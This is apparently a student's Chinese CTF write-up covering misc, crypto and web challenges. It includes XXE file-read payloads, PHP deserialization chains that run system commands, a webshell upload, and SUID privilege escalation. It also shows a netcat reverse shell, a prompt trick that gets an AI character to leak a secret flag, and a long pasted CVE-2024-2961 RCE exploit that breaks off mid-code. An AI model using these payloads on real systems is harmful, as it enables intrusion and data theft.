SpringCTF wp

解题情况

Misc方向解出:9题
Crypto方向解出:1题
Web方向解出:7题
Pwn方向解出:1题
Reverse方向解出:0题

一次和其他学校联办的生考核赛,第一,不赖。web除了一道Java,都解出来了,Suzen出的题太可恶了卡了我半天QAQ。Web这次考了一道XXE,刚好前两天学完了;还考了提权,用了反弹shell;两个CVE漏洞;考了反序列化的原生类,看的人晕晕的;Misc算副方向,收集了几个新的工具,考了两道和二维码有关的吧,还有一道音频处理。因为还是主学的web,Misc的其他题就不怎么会。

Misc

启程,目标塔卫二

解题思路

根据提示下载了ffmpeg工具,提取出视频的封面

命令

1
ffmpeg -i flag.mp4 -map 0:v -map -0:V -c copy 1.jpg

提取出无损音频

命令

1
ffmpeg -i "D:\ctf_file\flag.mp4" "D:\Desktop\output_audio.wav"

提取封面找到了一个key,再看图片备注说“在音频深处藏着秘密”

然后和出题的师傅对了方向,提示说根据深要找一个工具,就问了ai找到了deepsound,将无损音频拖入到deepsound中,就会得到一个压缩包,解压缩的时候用之前得到的key

Flag:

1
Spring{B4ck_T0_3ndf13ld}

看图猜flag

解题思路

把pdf文件放到010中

Flag

1
Spring{Oh_Y0u_f1nd_my_s3cre7_a9e21c07}

ez_signin

解题思路

看到这个图片感觉怪怪的,像二维码但又少了点东西,就去搜了二维码修复,找到了一个在线网站

image-20260126121814623

再对得到得到字符串进行rot13解密

image-20260126121822376

奇怪的曲线

解题思路

根据提示找到了24网鼎杯青龙组的misc题目,是皮亚诺曲线,利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from PIL import Image

from tqdm import tqdm

def peano(n):

if n == 0:

return [[0,0]]

else:

​ in_lst = peano(n - 1)

​ lst = in_lst.copy()

​ px,py = lst[-1]

​ lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)

​ px,py = lst[-1]

​ lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)

return lst



order = peano(6)



img = Image.open(r"D:\ctf_file\flag.png")



width, height = img.size



block_width = width # // 3

block_height = height # // 3



new_image = Image.new("RGB", (width, height))



for i, (x, y) in tqdm(enumerate(order)):

\# 根据列表顺序获取新的坐标

new_x, new_y = i % width, i // width

\# 获取原图像素

pixel = img.getpixel((x, height - 1 - y))

\# 在新图像中放置像素

new_image.putpixel((new_x, new_y), pixel)



new_image.save("rearranged_image.jpg")

得到了一张二维码,将这张二维码给QR_Research处理,得到flag

Flag

1
Spring{Th3_P34n0urv3_1s_1nt3r3st1ng}

零、强运和福来阁

解题思路

第一个hint用base64解码

1
Spring{xx4xxx_Fxxx_xxxxxxxx_xxxx}

第二个用hex

1
Spring{xxxxxx_xxxx_xqxx2xxx_xxxx}

第三个用一个脚本解密

1
2
3
4
5
import zlib, binascii

data = binascii.unhexlify('789c25c7b10900400804c19aace50b30301013112341ecfde07e838579d591bec394930fca0ef4230e7d')

print(zlib.decompress(data))
1
Spring{xxxxxx_xxxx_1xxxxxxx_xxxc}

第四个 Hkirmt{cccccc_cc4c_cccccchc_cccc} 是自己找规律发现关于mn中间对称

1
Spring{xxxxxx_xx4x_xxxxxxsx_xxxx}

第五个}x5xx_xxxxzxxx_xxxx_xxxxxx{gnirpS就是倒序

1
Spring{xxxxxx_xxxx_xxxzxxxx_xx5x} 

然后结合一下

1
Spring{xx4xx4_Fx4g_1qxz2xsx_xx5c}

然后就得根据题目猜测了

感觉中间肯定是flag的变形

最后那个有点像misc的变形

1
Spring{xx4xx4_Fl4g_1qyz2xsx_mi5c}

第三组是按照键盘顺序

1
Spring{xx4xx4_Fl4g_1qaz2wsx_mi5c}

Flag

1
Spring{114514_Fl4g_1qaz2wsx_Mu5c}

小猫娘KanaD

解题思路

这里说不能泄露flag明文,那就想到让它加密

image-20260126121833750

Flag

1
Spring{KaN4d3_IS_tHE_rea1O_HacK3R_9f601709-3bac-4d97-8fad-85586d54e4d1}

中!

解题思路

找到像h的建筑,在郑州,然后搜附近二七广场附近的胡辣汤,找到了什么逍遥镇牛肉胡辣汤(华润新时代广场店)

Flag

1
Spring{逍遥镇牛肉胡辣汤(华润新时代广场店)}

最大开眼界的一集

解题思路

X把那个图片给了小红书,就找到了

Flag

1
Spring{雪山之境·牧场}

Crypto

Very Ez RSA

解题思路

问了ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from Crypto.Util.number import long_to_bytes, inverse

import math



\# 题目给出的已知参数

n = 2037777734694295222368729075621935946529065830903806357785843519565044912382820818315753891553920955598460716877336955696560983423229106995484309247795554079707957670693306219421146416428458951110892001738048091453393749224247663970606192185497275844516533514203459172343428002965593047918453806730622003156138406059499002328853380923052671222195089267090070176962824333414256893400270485763444456436355471885060668777753882139164861326674635719893135745860467563

e = 64431358589914310249553491337528433251716419124597584409153850297916577635502289960180522954186019459988001069599450004419257410996960480000547822730042563583233500563626984769360391655562761115631881450050930161711264105302503257806132348595028480242534049702210047927747401133287392960277588490460662769252185811072583346039311683364957375183566747296578347479042724568861210977245014097576296540866063480677784656289501159957495623974582614630150460675647889

c = 1324247034875294757255528032599181773413968079774740195231177771435973526338799545578430900103792226003304336430469366760141345255329901397925577969560203591433114493422423000797974532393794406953869362557644058028164732011725759244318141877154976299834882222655455742113158860953031310886007035972778962685671493142928787405017405916210461335456430076678296273273039611325713631369746661661202375011918472547704003536412733548060313790121016881832398406855808668



\# 连分数展开:计算a/b的渐进分数序列

def continued_fraction(a, b):

cf = []

while b:

​ q, r = divmod(a, b)

​ cf.append(q)

​ a, b = b, r

return cf



\# 由连分数序列求渐进分数的分子和分母

def convergents(cf):

conv = []

h_prev, h_curr = 0, 1

k_prev, k_curr = 1, 0

for q in cf:

​ h_next = q * h_curr + h_prev

​ k_next = q * k_curr + k_prev

​ conv.append((h_next, k_next))

​ h_prev, h_curr = h_curr, h_next

​ k_prev, k_curr = k_curr, k_next

return conv



\# Wiener攻击核心:遍历渐进分数,寻找满足条件的d和k(增加h≠0判断)

def wiener_attack(e, n):

cf = continued_fraction(e, n)

conv = convergents(cf)

for h, k in conv:

​ \# 核心修复:排除h=0和k=0的情况,避免除零错误

if h == 0 or k == 0:

continue

​ \# 满足 ed ≡ 1 mod φ(n) → ed -1 能被k整除(φ(n)=(ed-1)/k)

if (e * k - 1) % h != 0:

continue

​ phi = (e * k - 1) // h

​ \# 由n - phi + 1 = p+q,构造二次方程x² - (p+q)x + n = 0,判别式需为完全平方数

​ s = n - phi + 1

​ delta = s * s - 4 * n

​ \# 判别式非负且为完全平方数

if delta < 0:

continue

​ sqrt_delta = math.isqrt(delta)

if sqrt_delta * sqrt_delta != delta:

continue

​ \# 求解p和q,需为正整数

if (s - sqrt_delta) % 2 != 0:

continue

​ p = (s - sqrt_delta) // 2

​ q = (s + sqrt_delta) // 2

if p * q == n and p > 1 and q > 1:

return k, p, q # 返回私钥d=k,以及分解的素数p,q

return None, None, None



\# 执行攻击

d, p, q = wiener_attack(e, n)

if d is None:

print("Wiener攻击失败,未找到私钥d")

else:

print(f"找到私钥d: {d}")

print(f"分解n得到p: {p}")

print(f"分解n得到q: {q}")

\# 解密:m = c^d mod n

m = pow(c, d, n)

\# 将长整数转回字节串,得到flag

try:

​ flag = long_to_bytes(m).decode('utf-8')

print(f"解密得到flag: {flag}")

except:

​ \# 防止编码问题,直接输出字节串

​ flag = long_to_bytes(m)

print(f"解密得到flag(字节串): {flag}")

Flag

1
Spring{0ver_th3_Fr0ntier_1nto_th3_Fr0nt}

Web

Click

解题思路

提示点我就给flag但看到那个按钮是灰的按不了就f12,在查看器中找到disabled删除,这样按钮就点了

Flag

1
Spring{HEII0_5Pr1N6_CtF_17de23d9-13f0-422d-8821-6248a52ecc10}

Ez_xxe

解题思路

查看源码,看到了flag in /flag,就想到先用file读取flag

Payload

1
2
3
4
5
<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file:///flag">

]>

提示说不会让我这么轻易的看到,就想到就php伪协议

Payload

1
2
3
4
5
<!DOCTYPE root [

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

]>

得到了base64加密的flag,解码一下就好了

Flag

image-20260126114358708

Native

解题思路

先找到利用点在GetFlag,要利用到$func($var);需要先触发get魔术方法(通过Start中调用了不存在的属性haohao触发,就要触发toString,通过destruct,toString会被触发,就通过arg将链子连起来)再绕过MD5比较(用的是原生类Error),然后要满足risk.txt不存在,就要用到UseFul,class被实例化为对象obj,再调用open方法,相当于用来ZipArchive原生类来删除文件,同样这个也要触发__get

删除危险文件的Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class Start{
public $arg;
public function __construct($arg){
$this->arg = $arg;
}
public function __destruct(){
echo "<br>"."arg:".$this->arg."<br>";
}
public function __toString(){
$this->arg->haohao;
return "<br>"."Start Test"."<br>";
}
}
class GetFlag{
public $a;
public $b;
public $func;
public $var;
public function __get($arg){
$a = $this->a;
$b = $this->b;
if($a!==$b && (!is_array($a)) && (!is_array($b)) && md5($a)===md5($b)){
if(file_exists("risk.txt")){
exit("High Risk");
​ }else{
echo "<br>"."Completely Safe"."<br>";
$func = $this->func;
$var = $this->var;
$func($var);
​ }
​ }
}
}
class UseFul{
public $class;
public $file;
public $flags;
public function __get($arg){
$this->write($this->class,$this->file,$this->flags);
}
public function write($class,$file,$flags){
$obj = new $class();
$obj->open($file,$flags);
echo "<br>"."Successful"."<br>";
return true;
}
}
$a = new Error("123",1);$b = new Error("123",2);
$useful = new UseFul();
$useful->class = 'ZipArchive';
$useful->file = 'risk.txt';
$useful->flags = 8;
$getflag = new GetFlag();
$getflag->a = $a;
$getflag->b = $b;
$getflag->func = "system";
$getflag->var = "ls /";

$start = new Start(new Start($useful));
echo "删除 risk.txtpayload:\n";
echo urlencode((serialize($start)));

执行命令的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

class Start{

public $arg;
public function __construct($arg){
$this->arg = $arg;
}
public function __destruct(){
echo "<br>"."arg:".$this->arg."<br>";
}
public function __toString(){
$this->arg->haohao;
return "<br>"."Start Test"."<br>";
}
}
class GetFlag{
public $a;
public $b;
public $func;
public $var;
public function __get($arg){
$a = $this->a;
$b = $this->b;
if($a!==$b && (!is_array($a)) && (!is_array($b)) && md5($a)===md5($b)){
if(file_exists("risk.txt")){
exit("High Risk");
​ }else{
echo "<br>"."Completely Safe"."<br>";
$func = $this->func;
$var = $this->var;
$func($var);
​ }
​ }
}
}
class UseFul{
public $class;
public $file;
public $flags;
public function __get($arg){
$this->write($this->class,$this->file,$this->flags);
}
public function write($class,$file,$flags){
$obj = new $class();
$obj->open($file,$flags);
echo "<br>"."Successful"."<br>";
return true;
}
}
$a = new Error("123",1);$b = new Error("123",2);
$useful = new UseFul();
$useful->class = 'ZipArchive';
$useful->file = 'risk.txt';
$useful->flags = 8;
$getflag = new GetFlag();
$getflag->a = $a;
$getflag->b = $b;
$getflag->func = "system";
$getflag->var = "cat /flag";#ls /
$start = new Start(new Start($getflag));
echo "删除 risk.txtpayload:\n";
echo urlencode((serialize($start)));

这个之前还要用ls /查看flag文件名

Flag

1
Spring{cce31109-c4cb-4dcc-bf1e-9974079e3ffb}

Next Time, Please React

解题思路

根据提示找到了cve2025-55182,跟着一篇博客复现https://www.freebuf.com/articles/vuls/461169.html

image-20260126121844301

image-20260126121850444

homework upload system

解题思路

先在kali里面扫目录,命令:diesearch -u,可以看到有一个/database.sqlite的目录,访问之后下载了一个文件,打开后能看到有三个用户信息,随便选了一个2521077,先修改密码,然后登录,点击头像有一个文件上传的地方,因为只能传图片,而且是Apache服务就想到可能要用.htaccess配置文件,bp拦截抓包,先传配置文件,并有一个MIME的绕过

image-20260126121855886

然后再传一句话木马

image-20260126121900288

上传才成功后蚁剑连接

image-20260126121904543

根据提示这个flag在/root下,但是我们没有root权限

然后就是要利用suid提权

命令

1
find / -perm -u=s -type f 2>/dev/null
1
/usr/bin/find /etc/passwd -exec whoami \;
1
/usr/bin/find /etc/passwd -exec id \;
1
/tmp/.rsh -p -c 'ls -la /root'

提升到root权限后查看目录下的文件

image-20260126121910160

1
/tmp/.rsh -p -c 'cat /root/f1aaaaggggg'

Flag

image-20260126121915354

homework upload system-revenge

解题思路

前面与上一题一样,蚁剑连接后提权,但是这里普通用户不能利用suid,根据hint找到了var/www/html目录下存在用户名和密码,这里就在自己的云服务器上进行反弹shell来获得权限

现在云服务器上监听一个端口

命令

1
nc -lvp 2333

然后在蚁剑上反向连接我的云服务器

1
nc ip 2333 -e /bin/bash
1
2
3
su SpringStar

0h!You+f1nd+Me

身份变为SpringStar

1
/usr/bin/find -exec /bin/sh -p \;

权限提升到root

查看/root目录下存在的文件

1
ls -la /root/

image-20260126121921486

查看flag

Flag

image-20260126121926773

readfile

解题思路

看到源码是任意文件读取,就想到可利用一个cve将任意文件读取转为rce,找到了cve2024-2916

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
\#!/usr/bin/env python3

\#

\# CNEXT: PHP file-read to RCE (CVE-2024-2961)

\# Date: 2024-05-27

\# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)

\#

\# TODO Parse LIBC to know if patched

\#

\# INFORMATIONS

\#

\# To use, implement the Remote class, which tells the exploit how to send the payload.

\#



from __future__ import annotations



import base64

import zlib



from dataclasses import dataclass

from requests.exceptions import ConnectionError, ChunkedEncodingError



from pwn import *

from ten import *

HEAP_SIZE = 2 * 1024 * 1024

BUG = "劄".encode("utf-8")

class Remote:

"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to

download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

\```php

<?php

$data = file_get_contents($_POST['filename']);

echo "Contents: $data";

\```

Tweak it to fit your target, and start the exploit.

"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
​ """
return self.session.post(self.url, data={"filename": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
​ """
​ path = f"php://filter/convert.base64-encode/resource={path}"
​ response = self.send(path)
​ data = response.re.search(b"Contents:(.*)", flags=re.S).group(1)
return base64.decode(data)
@entry

@arg("url", "Target URL")

@arg("command", "Command to run on the system; limited to 0x140 bytes")

@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")

@arg("heap", "Address of the main zend_mm_heap structure.")

@arg(

"pad",

"Number of 0x100 chunks to pad with. If the website makes a lot of heap "

"operations with this size, increase this. Defaults to 20.",

)

@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
​ wrappers and filters that the exploit needs.
​ """
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
​ failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
​ result = safe_download(path)
return text.encode() == result
​ text = tf.random.string(50).encode()
​ base64 = b64(text, misalign=True).decode()
​ path = f"data:text/plain;base64,{base64}"
​ result = safe_download(path)
if text not in result:
​ msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
​ failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
​ msg_info("The [i]data://[/] wrapper works")
​ text = tf.random.string(50)
​ base64 = b64(text.encode(), misalign=True).decode()
​ path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
​ failure("The [i]php://filter/[/] wrapper does not work")
​ msg_info("The [i]php://filter/[/] wrapper works")
​ text = tf.random.string(50)
​ base64 = b64(compress(text.encode()), misalign=True).decode()
​ path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
​ failure("The [i]zlib[/] extension is not enabled")

​ msg_info("The [i]zlib[/] extension is enabled")


​ msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):

return self.remote.download(path)

def get_regions(self) -> list[Region]:

"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""

​ maps = self.get_file("/proc/self/maps")

​ \# 使用errors='ignore'处理可能的解码错误
try:
​ maps_text = maps.decode('utf-8')
except UnicodeDecodeError:
​ maps_text = maps.decode('utf-8', errors='ignore')
​ \# 改进的正则表达式,更宽松地匹配
​ PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\s+([-rwxps]+)\s+([a-f0-9]+)\s+(\d+:\d+)?\s+(\d+)?\s*(.*)$"
​ )

​ regions = []

for line in maps_text.splitlines():

​ line = line.strip()

if not line:

continue

if match := PATTERN.match(line):

​ start = int(match.group(1), 16)

​ stop = int(match.group(2), 16)

​ permissions = match.group(3)

​ \# 权限字段可能包含多个字符,我们只需要前4个

if len(permissions) >= 4:

​ permissions = permissions[:4]

else:

​ permissions = permissions.ljust(4, '-')

​ \# 路径是最后一个组

​ path = match.group(7) or ""

​ \# 清理路径

if path:

​ \# 如果路径包含空格,取最后一个部分

​ parts = path.split()

if parts:

​ path = parts[-1]

else:

​ path = ""

​ current = Region(start, stop, permissions, path)

​ regions.append(current)

else:

​ \# 打印无法匹配的行进行调试

print(f"[WARNING] Could not parse line: {line}")

​ \# 尝试用更简单的方法解析

try:

​ parts = line.split()

if len(parts) >= 5:

​ addr_range = parts[0]

​ perms = parts[1]

if '-' in addr_range:

​ addr_parts = addr_range.split('-')

if len(addr_parts) == 2:

​ start = int(addr_parts[0], 16)

​ stop = int(addr_parts[1], 16)

if len(perms) >= 4:

​ perms = perms[:4]

else:

​ perms = perms.ljust(4, '-')

​ \# 路径通常是最后一个部分

​ path = ' '.join(parts[5:]) if len(parts) > 5 else ""

if path and ' ' in path:

​ \# 取最后一个单词作为路径

​ path = path.split()[-1]

​ current = Region(start, stop, perms, path)

​ regions.append(current)

print(f"[INFO] Parsed with fallback: {path}")

except Exception as e:

print(f"[ERROR] Failed to parse line even with fallback: {e}")

print(f"Line: {line}")

if not regions:

​ failure("Unable to parse any memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:

"""Obtains useful symb ols and addresses from the file read primitive."""

​ regions = self.get_regions()

​ LIBC_FILE = "/dev/shm/cnext-libc"

​ \# PHP's heap

self.info["heap"] = self.heap or self.find_main_heap(regions)


​ \# Libc

​ libc = self._get_region(regions, "libc-", "libc.so")

self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)

self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:

"""Returns the first region whose name matches one of the given names."""

for region in regions:

for name in names:

if name in region.path:

return region

​ \# 打印所有区域进行调试

print("[DEBUG] Available regions:")

for region in regions[:20]: # 只显示前20个避免太多输出

if region.path:

print(f" {hex(region.start)}-{hex(region.stop)}: {region.path}")


​ failure(f"Unable to locate region matching: {', '.join(names)}")

def download_file(self, remote_path: str, local_path: str) -> None:

"""Downloads `remote_path` to `local_path`"""

​ data = self.get_file(remote_path)

​ Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:

​ \# Any anonymous RW region with a size superior to the base heap size is a

​ \# candidate. The heap is at the bottom of the region.

​ heaps = [

​ region.stop - HEAP_SIZE + 0x40

for region in reversed(regions)

if region.permissions == "rw-p"

and region.size >= HEAP_SIZE

and region.stop & (HEAP_SIZE - 1) == 0

and region.path in ("", "[anon:zend_alloc]")

​ ]

if not heaps:

​ failure("Unable to find PHP's main heap in memory")


​ first = heaps[0]

if len(heaps) > 1:

​ heaps = ", ".join(map(hex, heaps))

​ msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")

else:

​ msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:

self.check_vulnerable()

self.get_symbols_and_addresses()

self.exploit()

def build_exploit_path(self) -> str:

"""On each step of the exploit, a filter will process each chunk one after the

​ other. Processing generally involves making some kind of operation either

​ on the chunk or in a destination chunk of the same size. Each operation is

​ applied on every single chunk; you cannot make PHP apply iconv on the first 10

​ chunks and leave the rest in place. That's where the difficulties come from.

​ Keep in mind that we know the address of the main heap, and the libraries.

​ ASLR/PIE do not matter here.

​ The idea is to use the bug to make the freelist for chunks of size 0x100 point

​ lower. For instance, we have the following free list:
​ ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00


​ By triggering the bug from chunk ..900, we get:

​ ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

​ That's step 3.

​ Now, in order to control the free list, and make it point whereever we want,

​ we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,

​ we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.

​ That's step 2.

​ Now, if we were to perform step2 an then step3 without anything else, we'd have

​ a problem: after step2 has been processed, the free list goes bottom-up, like:

​ 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
​ We need to go the other way around. That's why we have step 1: it just allocates

​ chunks. When they get freed, they reverse the free list. Now step2 allocates in

​ reverse order, and therefore after step2, chunks are in the correct order.

​ Another problem comes up.

​ To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.

​ Since step2 creates chunks that contain pointers and pointers are generally not

​ UTF-8, we cannot afford to have that conversion happen on the chunks of step2.

​ To avoid this, we put the chunks in step2 at the very end of the chain, and

​ prefix them with `0\n`. When dechunked (right before the iconv), they will

​ "disappear" from the chain, preserving them from the character set conversion

​ and saving us from an unwanted processing error that would stop the processing

​ chain.

​ After step3 we have a corrupted freelist with an arbitrary pointer into it. We

​ don't know the precise layout of the heap, but we know that at the top of the

​ heap resides a zend_mm_heap structure. We overwrite this structure in two ways.

​ Its free_slot[] array contains a pointer to each free list. By overwriting it,

​ we can make PHP allocate chunks whereever we want. In addition, its custom_heap

​ field contains pointers to hook functions for emalloc, efree, and erealloc

​ (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and

​ then overwrite the use_custom_heap flag to make PHP use these function pointers

​ instead. We can now do our favorite CTF technique and get a call to

​ system(<chunk>).

​ We make sure that the "system" command kills the current process to avoid other

​ system() calls with random chunk data, leading to undefined behaviour.

​ The pad blocks just "pad" our allocations so that even if the heap of the

​ process is in a random state, we still get contiguous, in order chunks for our

​ exploit.


​ Therefore, the whole process described here CANNOT crash. Everything falls

​ perfectly in place, and nothing can get in the middle of our allocations.

​ """

​ LIBC = self.info["libc"]

​ ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]

​ ADDR_EFREE = LIBC.symbols["__libc_system"]

​ ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

​ ADDR_HEAP = self.info["heap"]

​ ADDR_FREE_SLOT = ADDR_HEAP + 0x20

​ ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168



​ ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10



​ CS = 0x100



​ \# Pad needs to stay at size 0x100 at every step

​ pad_size = CS - 0x18

​ pad = b"\x00" * pad_size

​ pad = chunked_chunk(pad, len(pad) + 6)

​ pad = chunked_chunk(pad, len(pad) + 6)

​ pad = chunked_chunk(pad, len(pad) + 6)

​ pad = compressed_bucket(pad)



​ step1_size = 1

​ step1 = b"\x00" * step1_size

​ step1 = chunked_chunk(step1)

​ step1 = chunked_chunk(step1)

​ step1 = chunked_chunk(step1, CS)

​ step1 = compressed_bucket(step1)



​ \# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to

​ \# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"



​ step2_size = 0x48

​ step2 = b"\x00" * (step2_size + 8)

​ step2 = chunked_chunk(step2, CS)

